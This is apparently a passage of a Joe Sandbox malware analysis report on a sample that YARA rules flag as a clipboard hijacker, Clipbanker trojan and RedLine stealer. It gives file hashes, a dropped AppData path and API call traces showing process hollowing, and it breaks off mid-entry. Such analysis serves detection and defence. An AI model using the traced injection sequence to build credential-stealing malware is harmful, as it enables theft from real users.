Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 0000001E.00000002.3633201823.0000000000820000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000001E.00000002.3633201823.0000000000820000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000001E.00000002.3633201823.0000000000820000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000001E.00000002.3633295170.0000000000840000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	22:20:12
Start date:	23/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 0000001F.00000002.3632649195.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000001F.00000002.3632649195.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000001F.00000002.3632649195.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	97.5%
Signature Coverage:	42.5%
Total number of Nodes:	40
Total number of Limit Nodes:	7

Executed Functions

Function 05DD0110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 05DD0156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 05DD016C
CreateProcessA.KERNELBASE(?,00000000), ref: 05DD0255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 05DD0270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 05DD0283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 05DD029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 05DD02C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 05DD02E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 05DD0304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 05DD032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 05DD0399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 05DD03BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 05DD03E1
ResumeThread.KERNELBASE(00000000), ref: 05DD03ED
ExitProcess.KERNEL32(00000000), ref: 05DD0412

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: d1abb6f712b7367359e42187b8f22fcac9a618077d28a39e79142cc119e792e0
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: BEB1C874A00208AFDB44CF98C895FAEBBB5FF88314F248158E949AB395D771AD41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 044947C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 044947EE
Module32First.KERNEL32(00000000,00000224), ref: 0449480E

Memory Dump Source

Source File: 00000000.00000002.1653647341.0000000004494000.00000040.00000020.00020000.00000000.sdmp, Offset: 04494000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4494000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 9109fcb17dfd99e3fe21af2a384139d1e63e6e28ad0d106dd9e64fffe9020441
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 27F0C2352007146BDF207FF5E88DAABBAE8AF49725F10062AE642911C0CA70FC465660

Uniqueness

Uniqueness Score: -1.00%

Function 05DD0420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 05DD0533

Strings

0, xrefs: 05DD0492
mfoaskdfnoa, xrefs: 05DD0520, 05DD0523
d, xrefs: 05DD0584
saodkfnosa9uin, xrefs: 05DD04DA

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: e685e120e65cb4f836bc9a60c006d1e34072bcfffe8d5d8c16f1f15b559413e6
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 01512870D08388DAEB11CBA8C849BEDBFB2AF51708F144059D5446F2C6D3BA5658CB62

Uniqueness

Uniqueness Score: -1.00%

Function 05DD05B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 05DD05EC

Strings

o, xrefs: 05DD0600
apfHQ, xrefs: 05DD05E2, 05DD05E5

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 97021847b372dd07ac09906e172f9a1d69b2c5d1071a23119fbdf493512fd7f9
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 04011E70C0424CEBDB10DBA8C5187AEFFB5AF41308F148099C4492B241E7769B58CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 04494485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 044944D6

Memory Dump Source

Source File: 00000000.00000002.1653647341.0000000004494000.00000040.00000020.00020000.00000000.sdmp, Offset: 04494000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4494000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 00b2ba7c9191b958353d4e61a49d9187a68d91f3ee4fd197f7ea778e3df15965
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 9B112D79A00208EFDB01DF98C985E99BFF5AF08350F058095FA489B361D371EA50EB80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 05DEF030 Relevance: 19.9, APIs: 10, Strings: 1, Instructions: 696
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 05DEF0A7
_wcsstr.LIBCMT ref: 05DEF14E
_strstr.LIBCMT ref: 05DEF3D6
_malloc.LIBCMT ref: 05DEF526
_memset.LIBCMT ref: 05DEF534
_strstr.LIBCMT ref: 05DEF57A
_malloc.LIBCMT ref: 05DEF6F5
_memset.LIBCMT ref: 05DEF703
_free.LIBCMT ref: 05DEF7B5
_free.LIBCMT ref: 05DEF7C2

Strings

", xrefs: 05DEF640

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _memset$_free_malloc_strstr$_wcsstr
String ID: "
API String ID: 430003804-123907689
Opcode ID: 1cdb3d0636dac09cc2f24788c7c1d72f8c986b6e2997366a203cf509162b2016
Instruction ID: a14fc26554a8ebd715a4244b11b1e3973ad1bccdfc27ef0da36a90e89e3d7adc
Opcode Fuzzy Hash: 1cdb3d0636dac09cc2f24788c7c1d72f8c986b6e2997366a203cf509162b2016
Instruction Fuzzy Hash: DE42D371508381ABDB21EF64CC48F9B7BE8BF85304F04092EF58997291DB75D649CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 05DE00D0 Relevance: 9.7, APIs: 6, Instructions: 732COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23169db7a410551c83385ddf708b4d7ef8baad74fa6175bf0d512237d1225d66
Instruction ID: 6ebc85a23b75415406ebf85011e4528dc93da42cb9408235a0aac3b160c788fa
Opcode Fuzzy Hash: 23169db7a410551c83385ddf708b4d7ef8baad74fa6175bf0d512237d1225d66
Instruction Fuzzy Hash: 44525E71D04208DBDF11EFA8DC89BAEB7F5FF04304F14816AD419A7290E775AA49CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 05DDE6E0 Relevance: 8.2, APIs: 5, Instructions: 735COMMON

Download Yara Rule

APIs

_wcsstr.LIBCMT ref: 05DDE72D
_wcsstr.LIBCMT ref: 05DDE756
_memset.LIBCMT ref: 05DDE784

Part of subcall function 05E1FC0C: std::exception::exception.LIBCMT ref: 05E1FC1F
Part of subcall function 05E1FC0C: __CxxThrowException@8.LIBCMT ref: 05E1FC34
Part of subcall function 05E1FC0C: std::exception::exception.LIBCMT ref: 05E1FC4D
Part of subcall function 05E1FC0C: __CxxThrowException@8.LIBCMT ref: 05E1FC62
Part of subcall function 05E1FC0C: std::regex_error::regex_error.LIBCPMT ref: 05E1FC74
Part of subcall function 05E1FC0C: __CxxThrowException@8.LIBCMT ref: 05E1FC82
Part of subcall function 05E1FC0C: std::exception::exception.LIBCMT ref: 05E1FC9B
Part of subcall function 05E1FC0C: __CxxThrowException@8.LIBCMT ref: 05E1FCB0

_wcsstr.LIBCMT ref: 05DDEA0C
_memset.LIBCMT ref: 05DDEE5C

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_wcsstrstd::exception::exception$_memset$std::regex_error::regex_error
String ID:
API String ID: 1338678108-0
Opcode ID: b5098284881af2f016dff51b4d469be074dfe0eb5f9feb8c37e34c07e0411b24
Instruction ID: 4ccbc6606aa6bc6e584e62b4505ce33e1b3019a133424d8788f7ef4f88a667fb
Opcode Fuzzy Hash: b5098284881af2f016dff51b4d469be074dfe0eb5f9feb8c37e34c07e0411b24
Instruction Fuzzy Hash: AD52AE71A002199FDF24DF68CC94BAEFBF9FF44304F14456AD84AAB281D731A945CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 05DE0B00 Relevance: 6.7, APIs: 4, Instructions: 660COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37c666b43537968137d919f050b0984878a90477fb183cf48e642191e4cf2ccd
Instruction ID: a68c625a66429ff84a14ed151a3fd9b9ab3c5615e556cdc6f4dfcdcb2a4074ff
Opcode Fuzzy Hash: 37c666b43537968137d919f050b0984878a90477fb183cf48e642191e4cf2ccd
Instruction Fuzzy Hash: 8E425D71E04208EBDB15EFA4CC49BEEB7F5FF04308F24416AD416A7290E771AA45CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 05DDDBE0 Relevance: 5.2, APIs: 3, Instructions: 702COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction ID: 1532e2b41689e666ba52d33e3571fb28825815b857ece7365e2d2d61e8535eb3
Opcode Fuzzy Hash: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction Fuzzy Hash: C5527170E00249DFDB11DBA4C848FAEFBB9FF49704F148199E549AB290DB74AD45CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00409038 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,004090CA,?,00000001,?,004091E1,p+K,00000017), ref: 0040903D
UnhandledExceptionFilter.KERNEL32(?,?,004090CA,?,00000001,?,004091E1,p+K,00000017), ref: 00409046

Memory Dump Source

Source File: 00000000.00000002.1651041064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1651027074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1651058049.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1651072889.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1651087458.000000000041B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1651087458.0000000000420000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1651159611.00000000004B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1651159611.000000000409E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1653446038.00000000040A0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_AaIo4VGgvO.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 28beeca3d6f3d7e4d14661f1268a62793a73c245c08e492e04ea9542e01566da
Instruction ID: 813572f2ecf1461c1951aa0d3f60b9d03d1e46d2a341b29204beb9faec26f5b3
Opcode Fuzzy Hash: 28beeca3d6f3d7e4d14661f1268a62793a73c245c08e492e04ea9542e01566da
Instruction Fuzzy Hash: 1EB09231084208BBCB002B91EC09BC8BF69EB0C692F108020F74D44470CB62A4108A99

Uniqueness

Uniqueness Score: -1.00%

Function 05E522C0 Relevance: 1.8, Strings: 1, Instructions: 587COMMON

Download Yara Rule

Strings

$, xrefs: 05E5291E

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction ID: 38642c7c2bb5ddaa533ff7ffbdbb9260b449aadc2da39dad106789a5a783a176
Opcode Fuzzy Hash: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction Fuzzy Hash: 053283B4E002299BEF619F64CC44BAEB779FF44714F0051EAEB4DA2191DB748A80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00408578 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00403FE2,00418880,00000014), ref: 00408578

Memory Dump Source

Source File: 00000000.00000002.1651041064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1651027074.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1651058049.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1651072889.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1651087458.000000000041B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1651087458.0000000000420000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1651159611.00000000004B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1651159611.000000000409E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1653446038.00000000040A0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_AaIo4VGgvO.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: f1a863eac6f50f8f49c7395b9660d669ccf1616727f55ba9fbac268161f5e3e0
Instruction ID: 9cf2dfa6f7fd9040c734f2e2c223564df4d007017c3873fc95b5f1b53453dff1
Opcode Fuzzy Hash: f1a863eac6f50f8f49c7395b9660d669ccf1616727f55ba9fbac268161f5e3e0
Instruction Fuzzy Hash: 7BB012B0701102474B090B3ABC1804A35D4A70C242301C13DB103C1570DF20C4109F0C

Uniqueness

Uniqueness Score: -1.00%

Function 05DD5DF7 Relevance: .7, Instructions: 723COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 877f63b2793ebbe0b59198544446deee2a7ddffc7aca60e89c3a6b5019f50021
Instruction ID: 37abfd36cf8cd6f5e401de5ba81119ebe432c457c518ac10668d34a32f99050e
Opcode Fuzzy Hash: 877f63b2793ebbe0b59198544446deee2a7ddffc7aca60e89c3a6b5019f50021
Instruction Fuzzy Hash: 0742B071629F159BC3DAEF24C88055BF3E1FFC8218F048A1DD99997A50DB38F819CA91

Uniqueness

Uniqueness Score: -1.00%

Function 05DDA026 Relevance: .5, Instructions: 478COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5f2568764100725235c6401e73ec7c3249674854c723175d34cd2e4a517ce8f
Instruction ID: 67fc871f7726498ae70fab8955665225d6a6fbcd02bffd48c826b0c01673f343
Opcode Fuzzy Hash: e5f2568764100725235c6401e73ec7c3249674854c723175d34cd2e4a517ce8f
Instruction Fuzzy Hash: 0922DF76908B129FC714CF19D08095AF7E1FF88324F558A6EE8A9A7B10C730BA55CB91

Uniqueness

Uniqueness Score: -1.00%

Function 05DD2B60 Relevance: .4, Instructions: 443COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91ba71904dea84e20fa54172000c9738ff60065219db22b0a49b9952a31d8242
Instruction ID: 05d082330c416e67c06a532964af8df8e1104b9eb0c871c855bdc4d54a32604c
Opcode Fuzzy Hash: 91ba71904dea84e20fa54172000c9738ff60065219db22b0a49b9952a31d8242
Instruction Fuzzy Hash: CDF1B571344B058FC758DE5DDDA1B16F7E5AB88318F19C728919ACBB64E378F8068B80

Uniqueness

Uniqueness Score: -1.00%

Function 05DD3520 Relevance: .4, Instructions: 427COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbc65900fc73bc000bc8580b4acecc80d5647e222a799f60cb590115ce9fd550
Instruction ID: a4af6ff118187997f4259237f234cb687f3f42e1a9a6df242d56bdaaa576a1e2
Opcode Fuzzy Hash: fbc65900fc73bc000bc8580b4acecc80d5647e222a799f60cb590115ce9fd550
Instruction Fuzzy Hash: F8024C715187058FC756EF0CD49035AF3E1FFC8305F198A2DD68987A64E739A9198F82

Uniqueness

Uniqueness Score: -1.00%

Function 05DD89D0 Relevance: .4, Instructions: 351COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a5954790e41dc4624a9d46858f3452b98d53d0cd8c243c9cc9c775596d105f9
Instruction ID: 2bb89213d009dfa1e784231829cf903763ce2da1c49396aadf6fc256f52eca8d
Opcode Fuzzy Hash: 0a5954790e41dc4624a9d46858f3452b98d53d0cd8c243c9cc9c775596d105f9
Instruction Fuzzy Hash: 52C12833E2477906D764DEAE8C500AAB6E3AFC4220F9B477DDDD4A7242C9306D4A86C0

Uniqueness

Uniqueness Score: -1.00%

Function 05DDB0B0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 260573a8829919281ce9b140437ef2de714630fc7763413699c1452f37438119
Instruction ID: 0ff908bc8df79a85eb4b7f5e9b1e4e291c51afcf6a8ce99a75e8a90c30ef37f7
Opcode Fuzzy Hash: 260573a8829919281ce9b140437ef2de714630fc7763413699c1452f37438119
Instruction Fuzzy Hash: EFA1EA0A8090E4ABEF455A7E90B63FBAFE9CB27354E76719284D85B793C019120FDF50

Uniqueness

Uniqueness Score: -1.00%

Function 05DD30F0 Relevance: .3, Instructions: 336COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f27a0b4d4ac2ce6bc1e4b63d0c78f0f0db76eb82bb00af9427607acde08c7a9f
Instruction ID: 47aeaaac46cadc797a226e4c34e547b17c64e59c69488b17d9ed8be6dbaff1af
Opcode Fuzzy Hash: f27a0b4d4ac2ce6bc1e4b63d0c78f0f0db76eb82bb00af9427607acde08c7a9f
Instruction Fuzzy Hash: 3DB14D72700B164BD728EEA9DC91796B3E3AB84326F8EC73C9046C6F55F2BCA4454680

Uniqueness

Uniqueness Score: -1.00%

Function 05DDCA10 Relevance: .3, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction ID: ff11d47c215cf5ce38ca31ccc2ee3a5af86bed5d40a3a231cdd511769fb0b700
Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction Fuzzy Hash: 59C18DB5E003599FCB54CFA9C885AEEFBF1FF48200F24856AD919E7301E334AA558B54

Uniqueness

Uniqueness Score: -1.00%

Function 05DD5DE7 Relevance: .3, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9479a41546b8b9daa844b3f0f9bcf180ed8e63d922313bf96b91a02671daf30e
Instruction ID: 91e7e9e4677b5d8e45ddebf19e47b8dee26372f04f09666baff2cde3f4abfc84
Opcode Fuzzy Hash: 9479a41546b8b9daa844b3f0f9bcf180ed8e63d922313bf96b91a02671daf30e
Instruction Fuzzy Hash: F8B183B0039FA686CBD3FF30911024BF7E0BFC525DF44194AD99986864EB3EE94E9215

Uniqueness

Uniqueness Score: -1.00%

Function 05DD7520 Relevance: .3, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a087d59a956fa7918cd600c7f095cfaed33154cdf998442540aba7f69786321b
Instruction ID: 57f196c05cae5ed2f05a1380c0e5b87930e83f74f9f0793881f597dd9e520d03
Opcode Fuzzy Hash: a087d59a956fa7918cd600c7f095cfaed33154cdf998442540aba7f69786321b
Instruction Fuzzy Hash: FA912573D187BA06D7609EAF8C441B9B7E3AFC4210F9B077ADD9467282C9309E0697D0

Uniqueness

Uniqueness Score: -1.00%

Function 05DDC760 Relevance: .2, Instructions: 239COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61293238dc523bda29a07f89e573218fa02bdd4a3ea5a0101b4e634da50cabe3
Instruction ID: b6c4c8543c6b83e23b26d6d775169b2cb838d3a03aeebe8caab8a0b854f79901
Opcode Fuzzy Hash: 61293238dc523bda29a07f89e573218fa02bdd4a3ea5a0101b4e634da50cabe3
Instruction Fuzzy Hash: 85B16AB5E002599FCB84CFE9C985ADEFBF0FF48210F64816AD915E7301E334AA558B54

Uniqueness

Uniqueness Score: -1.00%

Function 05DDA916 Relevance: .2, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2aad1ace9f17e27fc90b6d8408a6fd0dde4342c6dd5611bbc4c971f1f4f8439c
Instruction ID: da5101756d2d4a8c482913e19da46b55f8b55395718c69e9073e5bc0760d2360
